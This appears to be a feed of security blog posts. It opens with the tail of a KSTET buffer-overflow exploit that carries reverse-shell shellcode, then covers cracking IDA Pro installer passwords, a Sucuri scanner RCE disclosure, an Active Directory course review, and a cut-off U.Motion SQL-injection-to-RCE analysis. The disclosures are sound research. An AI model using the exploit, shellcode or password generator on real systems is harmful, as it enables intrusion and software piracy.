payload += "\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
payload += "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
payload += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
payload += "\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload += "\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x02"
payload += "\x00\x82\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
payload += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
payload += "\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
payload += "\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
payload += "\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
payload += "\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
payload += "\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
payload += "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
payload += "\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
payload += "\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
payload += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

stager =  '\x54\x58\x66\x05\x88\x01\x83\xec'
stager += '\x64\x33\xdb\x53\x80\xc7\x04\x53'
stager += '\x54\x5b\x83\xc3\x64\x53\xff\x30'
stager += '\xb8\x90\x2c\x25\x40\xc1\xe8\x08'
stager += '\xff\xd0'

buffer =  'KSTET '
buffer += stager
buffer += '\x90' * (70 - len(stager)) # nop sled to final payload
buffer += '\xaf\x11\x50\x62'          # jmp esp
buffer += '\xeb\xb4'                  # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print '[*] Connected to target'

s.recv(1024)
s.send(buffer)

print '[*] Sent stager, waiting 5 seconds...'

time.sleep(5)

s.send(payload + '\x90' * (1024 - len(payload)))

print '[*] Sent payload'

s.close()

破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數

20 June 2019 at 16:00

English Version 中文版本

前言

Hex-Rays IDA Pro 是目前世界上最知名的反組譯工具,今天我們想來聊聊它的安裝密碼。什麼是安裝密碼?一般來說,在完成 IDA Pro 購買流程後,會收到一個客製化安裝檔及安裝密碼,在程式安裝過程中,會需要那組安裝密碼才得以繼續安裝。那麼,如果今天在網路上發現一包洩漏的 IDA Pro 安裝檔,我們有可能在不知道密碼的狀況下順利安裝嗎?這是一個有趣的開放性問題。

在我們團隊成員腦力激盪下,給出了一個驗證性的答案:是的,在有 Linux 或 MacOS 版安裝檔的狀況下,我們可以直接找到正確的安裝密碼;而在有 Windows 版安裝檔的狀況下,我們只需要十分鐘就可算出安裝密碼。

下面就是我們的驗證流程:

* Linux 以及 MacOS 版

最先驗證成功的是 Linux 及 MacOS 版,這兩個版本都是透過 InstallBuilder 封裝成安裝檔。我們嘗試執行安裝程式,並在記憶體中直接發現了未加密的安裝密碼。任務達成!

在透過 Hex-Rays 協助回報後,BitRock 也在 2019/02/11 釋出了 InstallBuilder 19.2.0,加強了安裝密碼的保護。

* Windows 版

在 Windows 版上解決這個問題是項挑戰,因為這個安裝檔是透過 Inno Setup 封裝的,其安裝密碼是採用 160-bit SHA-1 hash 的方式儲存,因此我們無法透過靜態、動態程式分析直接取得密碼,透過暴力列舉也不是一個有效率的方式。不過,如果我們掌握了產生密碼的方式,那結果可能就不一樣了,我們也許可以更有效率的窮舉。

雖然我們已經有了方向是要找出 Hex-Rays 如何產生密碼,但要去驗證卻是”非常困難”的。因為我們不知道亂數產生器是用什麼語言實作的,而目前已知至少有 88 種亂數產生器,種類太多了。同時,我們也無法知道亂數產生器所使用的字元組和字元順序是什麼。

要找出亂數產生器所使用的字元組是眾多困難事中比較簡單的一件,首先,我們竭盡所能的收集所有 IDA Pro 的安裝密碼,例如 WikiLeaks 所揭露的 hackingteam 使用之密碼:

  • FgVQyXZY2XFk (link)
  • 7ChFzSbF4aik (link)
  • ZFdLqEM2QMVe (link)
  • 6VYGSyLguBfi (link)

從所有收集到的安裝密碼中我們整理出所用到的字元組: 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

少了 1, I, l, 0, O, o, N, n 字元,推測這些都是容易混淆的字元,因此不放入密碼字元組中是合理的。接著,我們用這些字元組,猜測可能的排列順序:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

最後,我們挑選幾個比較常見的語言(c/php/python/perl)並使用上述的字元組實作亂數產生器,列舉所有亂數組合,看看我們收集到的安裝密碼有沒有出現在這些組合中。例如我們用下面程式碼列舉 C 語言的亂數組合:

#include<stdio.h>
#include<stdlib.h>

char _a[] = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";
char _b[] = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";
char _c[] = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";
char _d[] = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";
char _e[] = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";
char _f[] = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";

int main()
{
        char bufa[21]={0};
        char bufb[21]={0};
        char bufc[21]={0};
        char bufd[21]={0};
        char bufe[21]={0};
        char buff[21]={0};

        unsigned int i=0;
        while(i<0x100000000)
        {
                srand(i);

                for(size_t n=0;n<20;n++)
                {
                        int key= rand() % 54;
                        bufa[n]=_a[key];
                        bufb[n]=_b[key];
                        bufc[n]=_c[key];
                        bufd[n]=_d[key];
                        bufe[n]=_e[key];
                        buff[n]=_f[key];

                }
                printf("%s\n",bufa);
                printf("%s\n",bufb);
                printf("%s\n",bufc);
                printf("%s\n",bufd);
                printf("%s\n",bufe);
                printf("%s\n",buff);
                i=i+1;
        }
}

大約一個月的運算,我們終於成功利用 Perl 亂數產生出 IDA Pro 的安裝密碼,而正確的字元組順序為 abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789。例如 hacking team 洩漏的 IDA Pro 6.8 安裝密碼是 FgVQyXZY2XFk,就可用下面程式碼產生:

#!/usr/bin/env perl
#
@_e = split //,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";

$i=3326487116;
srand($i);
$pw="";

for($i=0;$i<12;++$i)
{
        $key = rand 54;
        $pw = $pw . $_e[$key];
}
print "$i $pw\n";

透過這些資訊,我們可以建立一個用來暴力列舉安裝密碼的字典檔,縮短暴力列舉的時間,實作方式可參考 inno2john 專案。在一般情況下,約十分鐘即可算出 windows 安裝檔的安裝密碼。

在回報 Hex-Rays 後,他們立刻表示之後將會使用更安全的安裝密碼。

總結

本篇文章提出了一個開放性問題:在未知安裝密碼的情況下可不可以安裝 IDA Pro?結果我們在 Linux 以及 MacOS 版發現可以從記憶體中取得明文密碼。而在 Windows 版本中,我們黑箱找到了安裝密碼產生的方式,因此我們可以建立一份字典檔,用以縮短暴力列舉安裝密碼的時間,最終,我們約十分鐘可解出一組密碼,是一個可以接受的時間。

我們真的很喜歡這樣的過程:有根據的大膽猜測,竭盡全力用任何已知資訊去證明我們的想法,不論猜測是對是錯,都能從過程中獲得很多經驗。這也是為什麼我們這次願意花一個月時間去驗證一個成功機率不是很高的假設。附帶一提,這樣的態度,也被運用在我們紅隊演練上,想要試試嗎 :p

寫在最後,要感謝 Hex-Rays 很友善且快速的回應。即使這個問題不包含在 Security Bug Bounty Program 裡面,仍然慷慨的贈送 Linux 和 MAC 版 IDA 及升級原有 Windows 版至 IDA Pro。再次感謝。

時間軸

  • Jan 31, 2019 - 向 Hex-Rays 回報弱點
  • Feb 01, 2019 - Hex-Rays 說明之後會增加安裝密碼的強度,並協助通報 BitRock
  • Feb 11, 2019 - BitRock 釋出了 InstallBuilder 19.2.0

Operation Crack: Hacking IDA Pro Installer PRNG from an Unusual Way

20 June 2019 at 16:00

English Version 中文版本

Introduction

Today, we are going to talk about the installation password of Hex-Rays IDA Pro, which is the most famous decompiler. What is installation password? Generally, customers receive a custom installer and installation password after they purchase IDA Pro. The installation password is required during installation process. However, if someday we find a leaked IDA Pro installer, is it still possible to install without an installation password? This is an interesting topic.

After brainstorming with our team members, we verified the answer: Yes! With a Linux or MacOS version installer, we can easily find the password directly. With a Windows version installer, we only need 10 minutes to calculate the password. The following is the detailed process:

* Linux and MacOS version

The first challenge is Linux and MacOS version. The installer is built with an installer creation tool called InstallBuilder. We found the plaintext installation password directly in the program memory of the running IDA Pro installer. Mission complete!

This problem is fixed after we reported through Hex-Rays. BitRock released InstallBuilder 19.2.0 with the protection of installation password on 2019/02/11.

* Windows version

It gets harder on Windows version because the installer is built with Inno Setup, which store its password with 160-bit SHA-1 hash. Therefore, we cannot get the password simply with static or dynamic analyzing the installer, and brute force is apparently not an effective way. But the situation is different if we can grasp the methodology of password generation, which lets us enumerate the password more effectively!

Although we have realized we need to find how Hex-Rays generate password, it is still really difficult, as we do not know what language the random number generator is implemented with. There are at least 88 random number generators known. It is such a great variation.

We first tried to find the charset used by random number generator. We collected all leaked installation passwords, such as hacking team’s password, which is leaked by WikiLeaks.

  • FgVQyXZY2XFk (link)
  • 7ChFzSbF4aik (link)
  • ZFdLqEM2QMVe (link)
  • 6VYGSyLguBfi (link)

From the collected passwords we can summarize the charset: 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

The missing of 1, I, l, 0, O, o, N, n seems to make sense because they are confusing characters. Next, we guess the possible charset ordering like these:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

Lastly, we picked some common languages(c/php/python/perl)to implement a random number generator and enumerate all the combinations. Then we examined whether the collected passwords appears in the combinations. For example, here is a generator written in C language:

#include<stdio.h>
#include<stdlib.h>

char _a[] = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";
char _b[] = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";
char _c[] = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";
char _d[] = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";
char _e[] = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";
char _f[] = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";

int main()
{
        char bufa[21]={0};
        char bufb[21]={0};
        char bufc[21]={0};
        char bufd[21]={0};
        char bufe[21]={0};
        char buff[21]={0};

        unsigned int i=0;
        while(i<0x100000000)
        {
                srand(i);

                for(size_t n=0;n<20;n++)
                {
                        int key= rand() % 54;
                        bufa[n]=_a[key];
                        bufb[n]=_b[key];
                        bufc[n]=_c[key];
                        bufd[n]=_d[key];
                        bufe[n]=_e[key];
                        buff[n]=_f[key];

                }
                printf("%s\n",bufa);
                printf("%s\n",bufb);
                printf("%s\n",bufc);
                printf("%s\n",bufd);
                printf("%s\n",bufe);
                printf("%s\n",buff);
                i=i+1;
        }
}

After a month, we finally generated the IDA Pro installation passwords successfully with Perl, and the correct charset ordering is abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789. For example, we can generate the hacking team’s leaked password FgVQyXZY2XFk with the following script:

#!/usr/bin/env perl
#
@_e = split //,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";

$i=3326487116;
srand($i);
$pw="";

for($i=0;$i<12;++$i)
{
        $key = rand 54;
        $pw = $pw . $_e[$key];
}
print "$i $pw\n";

With this, we can build a dictionary of installation password, which effectively increase the efficiency of brute force attack. Generally, we can compute the password of one installer in 10 minutes.

We have reported this issue to Hex-Rays, and they promised to harden the installation password immediately.

Summary

In this article, we discussed the possibility of installing IDA Pro without owning installation password. In the end, we found plaintext password in the program memory of Linux and MacOS version. On the other hand, we determined the password generation methodology of Windows version. Therefore, we can build a dictionary to accelerate brute force attack. Finally, we can get one password at a reasonable time.

We really enjoy this process: surmise wisely and prove it with our best. It can broaden our experience no matter the result is correct or not. This is why we took a whole month to verify such a difficult surmise. We also take this attitude in our Red Team Assessment. You would love to give it a try!

Lastly, we would like to thank for the friendly and rapid response from Hex-Rays. Although this issue is not included in Security Bug Bounty Program, they still generously awarded us IDA Pro Linux and MAC version, and upgraded the Windows version for us. We really appreciate it.

Timeline

  • Jan 31, 2019 - Report to Hex-Rays
  • Feb 01, 2019 - Hex-Rays promised to harden the installation password and reported to BitRock
  • Feb 11, 2019 - BitRock released InstallBuilder 19.2.0

About a Sucuri RCE…and How Not to Handle Bug Bounty Reports

20 June 2019 at 00:00

TL;DR

Sucuri is a self-proclaimed “most recommended website security service among web professionals” offering protection, monitoring and malware removal services. They ran a Bug Bounty program on HackerOne and also blogged about how important security reports are. While their program was still active, I’ve been hacking on them quite a lot which eventually ranked me #1 on their program.

By the end of 2017, I have found and reported an explicitly disabled SSL certificate validation in their server-side scanner, which could be used by an attacker with MiTM capabilities to execute arbitrary code on Sucuri’s customer systems.

The result: Sucuri provided me with an initial bounty of 250 USD for this issue (they added 500 USD later due to a misunderstanding on their side) - out of an announced 5000 USD max bounty, fixed the issue, closed my report as informative and went completely silent to apparently prevent the disclosure of this issue.

Every Sucuri customer who is using the server-side scanner and who installed it on their server before June 2018 should immediately upgrade the server-side scanner to the most recent version which fixes this vulnerability!

SSL Certificate Validation is Overrated

As part of their services, Sucuri offers a custom server-side scanner, which customers can place on their servers and which runs periodic scans to detect integrity failures / compromises. Basically the server-side scanner is just a custom PHP script with a random looking filename of i.e. sucuri-[md5].php which a customer can place on their webserver.

NOTE: Due to a copyright notice in the script itself, I cannot share the full server-side scanner script here, but will use pseudo-code instead to show its logic. If you want to play with it by yourself, register an account with them and grab the script by yourself ;-)

<?php
$endpoint = "monitor2";
$pwd = "random-md5";

if(!isset($_GET['run']))
{
    exit(0);
}

if(!isset($_POST['secret']))
{
    exit(0);
}

$c = curl_init();
curl_setopt($c, CURLOPT_URL, "https://$endpoint.sucuri.net/imonitor");
curl_setopt($c, CURLOPT_POSTFIELDS, "p=$pwd&amp;q=".$_POST['secret']); 
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($c);

$b64 =  base64_decode($result);

eval($b64);
?>

As soon as you put the script in the web root of your server and configure your Sucuri account to perform server-side scans, the script instantly gets hit by the Sucuri Integrity Monitor with an HTTP POST request targeting the run method like the following:

This HTTP POST request does also include the secret parameter as shown in the pseudocode above and basically triggers a bunch of IP validations to make sure that only Sucuri is able to trigger the script. Unfortunately this part is flawed as hell due to stuff like:

$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']

(But that’s an entirely different topic and not covered by this post.)

By the end of the script, a curl request is constructed which eventually triggers a callback to the Sucuri monitoring system. However, there is one strange line in the above code:

curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);

So Sucuri explicitly set CURLOPT_SSL_VERIFYPEER to false. The consequences of this are best described by the curl project itself:

WARNING: disabling verification of the certificate allows bad guys to man-in-the-middle the communication without you knowing it. Disabling verification makes the communication insecure. Just having encryption on a transfer is not enough as you cannot be sure that you are communicating with the correct end-point.

So this is not cool.

The issued callback doesn’t contain anything else than the previously mentioned secret and looks like the following:

The more interesting part is actually the response to the callback which contains a huge base64 string prefixed by the string WORKED::

After decoding I noticed that it’s simply some PHP code which was generated on the Sucuri infrastructure to do the actual server-side scanning. So essentially a Man-in-the-Middle attacker could simply replace the base64 string with his own PHP code just like c3lzdGVtKCJ0b3VjaCAvdG1wL3JjZSIpOw== which is equal to system("touch /tmp/rce");:

Which finally leads to the execution of the arbitrary code on the customer’s server:

How Not to Handle Security Reports

This is actually the most interesting part, because communicating with Sucuri was a pain. Since there have been a lot of communication back and forth between me, Sucuri and HackerOne on different ways including the platform and email, The following is a summary of the key events of the communication and should give a good impression about Sucuri’s way to handle security reports.

2017-11-05

I’ve sent the initial report to Sucuri via HackerOne (report #287580)

2017-11-16

Sucuri says that they are aware of the issue but CURLOPT_SSL_VERIFYPEER cannot be enabled due to many hosters not offering the proper libraries and the attack scenario would include an attacker having MiTM on the hoster.

MiTM is required - true. But there are many ways to achieve this, and the NSA and Chinese authorities have proven to be capable of such scenarios in the past. And I’m not even talking about sometimes critical compliance requirements such as PCI DSS.

2017-11-17

Sucuri does not think that a MiTM is doable:

Think about it, If MITM the way you are describing was doable, you would be able to hijack emails from almost any provider (as SMTP goes unencrypted), redirect traffic by hijacking Google’s 8.8.8.8 DNS and create much bigger issues across the whole internet.

Isn’t that exactly the reason why we should use TLS across the world and companies such as Google try to enforce it wherever possible?

2017-11-17

I came up with a bunch of other solutions to tackle the “proper libraries issue”:

  1. You could deliver the certificate chain containing only your CA, Intermediates and server certificate via a separate file (or as part of your PHP file) to the customer and do the verification of the server certificate within PHP, i.e. using PHP’s openssl_x509_parse().
  2. You could add a custom method on the customer-side script to verify a signature delivered with the payload sent from monitor2. As soon as the signature does not match, you could easily discard the payload before calling eval(). The signature to be used must be - of course - cryptographically secure by design.
  3. You could also encrypt the payload to be sent to the customer site using public-private key crypto on your side and decrypt it using the public key on the client side (rather than encoding it using base64). Should also be doable in pure PHP.

2017-11-29 to 2018-05-16

Sucuri went silent for half a year, where I’ve tried to contact them through HackerOne and directly via email. During that period I’ve also requested mediation through HackerOne.

2018-06-07

Suddenly out of the blue Sucuri told me that they have a fix ready for testing.

2018-06-21

Sucuri rewards the minimum bounty of 250 USD because of:

  1. A successful exploitation only works if a malicious actor uses network-level attacks (resulting in MITM) against the hosting server (or any of the intermediary hops to it) to impersonate our API. While in theory possible, this would require a lot of efforts for very little results (in term of the amount of sites affected at once versus the capacity required to conduct the attack). The fact we use anycast also doesn’t guarantee a BGP hijacking attack would be successful.
  2. The server-side scanner file contains a unique hash for every single site, which is an information the attacker would also need in order to perform any kind of attack against our customers.

2018-07-18

Sucuri adds an additional 500 USD to the bounty amount because they apparently misunderstood the signature validation point.

2018-09-15

I’ve requested to publicly disclose this issue because it was of so low severity for Sucuri, they shouldn’t have a problem with publicly disclosing this issue.

2018-10-12

A couple of days right before the scheduled disclosure date: Sucuri reopens the report and changes the report status to Informative without any further clarification. No further reply on any channel from Sucuri. That’s where they went silent for the second time.

2018-11-23

I’ve followed up with HackerOne about the whole story and they literally tried everything to resolve this issue by contacting Sucuri directly. HackerOne told me that Sucuri will close their program and the reason for the status change was to address some information which they feel is sensitive.

HackerOne closes the program at their request on 2018-12-15. HackerOne even made them aware of different tools to censor the report, but Sucuri did not react anymore (again).

2019-01-02

Agreed with HackerOne about taking the last resort disclosure option, and giving Sucuri another 180 days of additional time to respond. They never responded.

2019-06-13 to 2019-06-19

I’ve sent a couple of more emails directly to Sucuri (where they used to respond to) to make them aware of this blog post, but again: no answer at all.

2019-06-20

Public disclosure in the interest of the general public according to HackerOne’s last resort option.

About HackerOne’s Last Resort Option

I have tried to disclose this issue several times through HackerOne, but unfortunately Sucuri wasn’t willing to provide any disclosure timeline (have you read the mentioned blog article?) - in fact they did not even respond anymore in the end (not even via email) - which is why I took the last resort option after consulting with HackerOne and as per their guidelines:

If 180 days have elapsed with the Security Team being unable or unwilling to provide a vulnerability disclosure timeline, the contents of the Report may be publicly disclosed by the Finder. We believe transparency is in the public’s best interest in these extreme cases.

Since this is about an RCE affecting potentially all of Sucuri’s customers who are using the server-side security scanner, and since there was no public or customer statement by Sucuri (at least that I am aware of) I think the general public deserves to know about this flaw.

PentesterAcademy Attacking and Defending AD Course Review

16 June 2019 at 16:07

Lately I’ve been more busy than usual. Getting my business off the ground, work, life and other things. I’ve got to get to all the messages & of course say THANK YOU for all the well wishes and kind words. By now you probably know even with all that going on, my free time is selfishly spent exclusively on myself 😈 The course I’m referring to is here Attacking and Defending Active Directory by PentesterAcademy.

Why’d You Even Decide To Take It?

Good question that I feel the need to spend some time on. No exaggeration hundreds of people hit me up asking for advice on certs. Since I’ve never necessarily chased a cert for a new position, promotion or anything like that my stance may not reflect everyone’s exact situation. All my certs came from just wanting to gain the knowledge that the cert provided in my quest to get more diverse and deeper into the different security domains. Of course I try to be targeted going after the most distinguished, the most reputable organizations, but really after completing the course and obtaining the cert is a little sad to me 😟. That’s when the fun stops. I encourage you to just continually just challenge yourself and see if you have a breaking point. There’s always time. Being frustrated at yourself while stuck trying to comprehend something new, that’s complex, is ammo for the brain. I love learning, double points if it’s something totally new. It’s like I can feel the new neural pathways in my head growing. I’m always stuck. I’m always reading things 3 times over but I bet you I won’t continue until I completely absorb what I’m reading. Fight the good fight and be better than you were yesterday. Live by it.

After I passed GREM I was in a somber mood similar to how I feel after every cert when all the happiness wears off. Sometimes as soon as the car ride home a question creeps into my mind and it doesn’t go away. “What’s next?” Giving you guys some context I mainly do Application Security for work. My goal is to be a specialist in a few things and a generalist in many. You know what I don’t have? Red-Team experience (besides the basic definition) and absolutely no knowledge of AD (okay maybe a little). I continued thinking wth 😏 how’s that even possible? Then I thought most my hacking is through flag based scenarios and courses. If you’re compromising a user you’re typically exploiting a service, process, or application running in the context of that user. Once I started researching things like lateral movement, exploiting trust relationships between domains, abusing ACLs I was sold. That was my motivation to pay for the course. Oh yeah. It’s was $250 HA! For the value this is EASILY the best course I ever enrolled in 👏🏾.

What Was It Like?

Incredible! Continuing on “value” I received 36 course videos, a copy of the video slides, lab manual, 30 day access to their AWS AD environment, and a sizable zip with all course tools . Each video taught a topic that had questions attached with them to complete in the lab. This is where you really learn! I watched the videos in order learning from the awesome instructor Nikhil Mittal. I was amazed at the comprehensiveness. It was just what a noob like me needed. I watched each video in order. Things like

  •  Lateral Movement
  • Significant time spent on Domain Enumeration
    • Bloodhound
    • Powerview
    • Mimikatz
    • Powercat
  • Local Privilege Escalation
    • Powerup
  • Domain Persistence
    • Understanding Kerberos Environment
      • Golden Tickets
      • Silver Tickets
      • Skeleton Keys
      • DSRM
      • Custom SSPs
      • Admin SD Holder
      • Abusing ACLS
  • Domain Privilege Escalation
    • Kerberos
    • Constrained & Unconstrained Delegation
    • DNSAdmins
    • Enterprise Admins
  • Cross Forest Trust
    • krbtgt hash and sid history
    • Trust ticket

After I watched the videos the second time I started to do all the task in the lab environment. Since I get obsessed with new things I was rushing home to get in my lab environment everyday spending usually from say 5-10 PM everyday practicing. It took about 2 weeks to finish all 23 task. I’m feeling pretty good about things at this point. It’s dumb to feel this way honestly since everything is brand new to me I feel as if my knowledge is procedural. Meaning if I was tossed a curve ball and things deviated slightly from what the course taught I’d easily toast. So I select the positive side and congratulate myself for grinding for going on 1 month straight with the course. Although I studied for over 3 months straight on other certs I still pat myself on the back for a concerted effort on anything. Hey! If you don’t want to clap for yourself, don’t. Now I go back through the entire course seeing if there’s anything that catches me off guard or feels fuzzy and I review it. Let’s do this! #schedulesexam 😲

Exam #1

The exam drops you into an Active Directory environment as a low-privileged user. Your goal is to gain code execution on 5 of the boxes in 24 hours. I started out pretty good gaining 3 users and 2 boxes in 4 hours and then came hell. One part that stank was some of the tools used throughout the course didn’t necessarily work in the exam. In the course we used plenty of PowerView, Mimikatz, and Microsoft’s AD module. Anyway I enumerate the entire domain, ran Bloodhound did everything and couldn’t figure my way forward. I stay up the entire 24 and come up dry. Didn’t bother submitting exam report 🤒.

Exam #2 (1 week later)

I spend this week reviewing videos on enumeration. I don’t know why but I felt I missed something simple. I start off the exam and gain all privileges that I left off with. I run Bloodhound again after that checking things like sessions, group membership, outbound ACL control. It’s then that I realize I missed something that wasn’t even hidden 🔎. I think back to myself, how could I have missed this it was right there. Then I understand what happened. (always try to think if you come up short on anything – what went wrong and how could I not make that mistake again) So while I was enumerating one of the tools missed it luckily since bloodhound shows similar information I saw it there. I was PUMPED 🙌🤳 at this point. Not to mention I got this like 30 minutes into the 24 hours. I begin pivoting through the domain gaining users and more boxes. 3 hours later I get Domain Admin dump all the hashes in the domain. Game Over. I create an inter-realm tgt gain code execution on the forest domain controller. Finished the report in a hour, proof read it – sent it off. 8 hours later I get the following

Dedication Wins!!

And a few hours after that I receive the following along with a personal email from the instructor himself. Geeked about that 😎. Again, there’s always time.

Overall this course was amazing. A couple things I loved?

  • How the exam seemed to stretch you and isn’t easy. You’ll learn a lot of new things in the exam itself.
  • The responsive and helpfulness of the Active Directory Support Staff. I constantly bothered them with any questions I had. You can’t beat it.

As I’m typing this guess what’s going through my mind. “What’s next?”

The post PentesterAcademy Attacking and Defending AD Course Review appeared first on Certification Chronicles.

CVE-2018-7841: Schneider Electric U.Motion Builder Remote Code Execution 0-day

13 May 2019 at 00:00

I came across an unauthenticated Remote Code Execution vulnerability (called CVE-2018-7841) on an IoT device which was apparently using a component provided by Schneider Electric called U.Motion Builder.

While I’ve found it using my usual BurpSuite foo, I later noticed that there is already a public advisory about a very similar looking issue published by ZDI named Schneider Electric U.Motion Builder track_import_export SQL Injection Remote Code Execution Vulnerability (ZDI-17-378) aka CVE-2018-7765).

However, the ZDI advisory does only list a brief summary of the issue:

The specific flaw exists within processing of track_import_export.php, which is exposed on the web service with no authentication. The underlying SQLite database query is subject to SQL injection on the object_id input parameter when the export operation is chosen on the applet call. A remote attacker can leverage this vulnerability to execute arbitrary commands against the database.

So I had a closer look at the source code and stumbled upon a bypass to CVE-2018-7765 which was previously (incompletely) fixed by Schneider Electric in version 1.3.4 of U.Motion Builder.

As of today the issue is still unfixed and it won’t be fixed at all in the future, since the product has been retired on 12 March 2019 as a result of my report!

The (Incomplete) Fix

U.Motion 1.3.4 contains the vulnerable file /smartdomuspad/modules/reporting/track_import_export.php in which the application constructs a SQlite query called $where based on the concatenated object_id, which can be supplied either via GET or POST:

switch ($op) {
    case "export":
[...]
        $where = "";
[...]
        if (strcmp($period, ""))
            $where .= "PERIOD ='" . dpadfunctions::string_encode_for_SQLite(strtoupper($period)) . "' AND ";
        if (!empty($date_from))
            $where .= "TIMESTAMP >= '" . strtotime($date_from . " 0:00:00") . "' AND ";
        if (!empty($date_to))
            $where .= "TIMESTAMP <= '" . strtotime($date_to . " 23:59:59") . "' AND ";
        if (!empty($object_id))
            $where .= "OBJECT_ID='" . dpadfunctions::string_encode_for_SQLite($object_id) . "' AND ";
        $where .= "1 ";
[...]

You can see that object_id is first parsed by the string_encode_for_SQLite method, which does nothing more than stripping out a few otherwise unreadable characters (see dpadfunctions.class.php):

function string_encode_for_SQLite( $string ) {
        $string = str_replace( chr(1), "", $string );
        $string = str_replace( chr(2), "", $string );
        $string = str_replace( chr(3), "", $string );
        $string = str_replace( chr(4), "", $string );
        $string = str_replace( chr(5), "", $string );
        $string = str_replace( chr(6), "", $string );
        $string = str_replace( chr(7), "", $string );
        $string = str_replace( chr(8), "", $string );
        $string = str_replace( chr(9), "", $string );
        $string = str_replace( chr(10), "[CRLF]", $string );
        $string = str_replace( chr(11), "", $string );
        $string = str_replace( chr(12), "", $string );
        $string = str_replace( chr(13), "", $string );
        $num = str_replace( ",",".", $string );
        if ( is_numeric( $num ) ) {
            $string = $num;
        }
        else {
            $string = str_replace( "'", "''", $string );
            $string = str_replace( ",","[COMMA]", $string );
        }
        return $string;

$query is afterwards used in call to $dbClient->query():

[...]
$query = "SELECT COUNT(ID) AS COUNTER FROM DPADD_TRACK_DATA WHERE $where";
$counter_retrieve_result = $dbClient->query($query,$counter_retrieve_result_id,_DPAD_DB_SOCKETPORT_DOMUSPADTRACK);
[...]

The query() method can be found in dpaddbclient_NoDbManager_sqlite.class.php:

function query( $query, &$result_set_id, $sDB = null ) {
        $this->setDB( $sDB );
        define( "_DPAD_LOCAL_BACKSLASHED_QUOTE", "[QUOTEwithBACKSLASH]" );
        $query = str_replace("\\"", _DPAD_LOCAL_BACKSLASHED_QUOTE, $query);
        $query = str_replace("\"", "\\"", $query);
        $query = str_replace("$", "\$", $query);
        $query = str_replace( _DPAD_LOCAL_BACKSLASHED_QUOTE, "\\\\"", $query);
        $query_array = explode(" ", trim($query) );
        switch ( strtolower( $query_array[0] ) ) {
        case "insert":
            $query = $query . ";" . "SELECT last_insert_rowid();";
            break;
        case "select":
        default:
            break;
        } $result_set_id = null;
        $sqlite_cmd = _DPAD_ABSOLUTE_PATH_SQLITE_EXECUTABLE . " -header -separator '~' " . $this->getDBPath() . " \"" . $query . "\"";
        $result = exec( $sqlite_cmd, $output, $return_var );
[...]

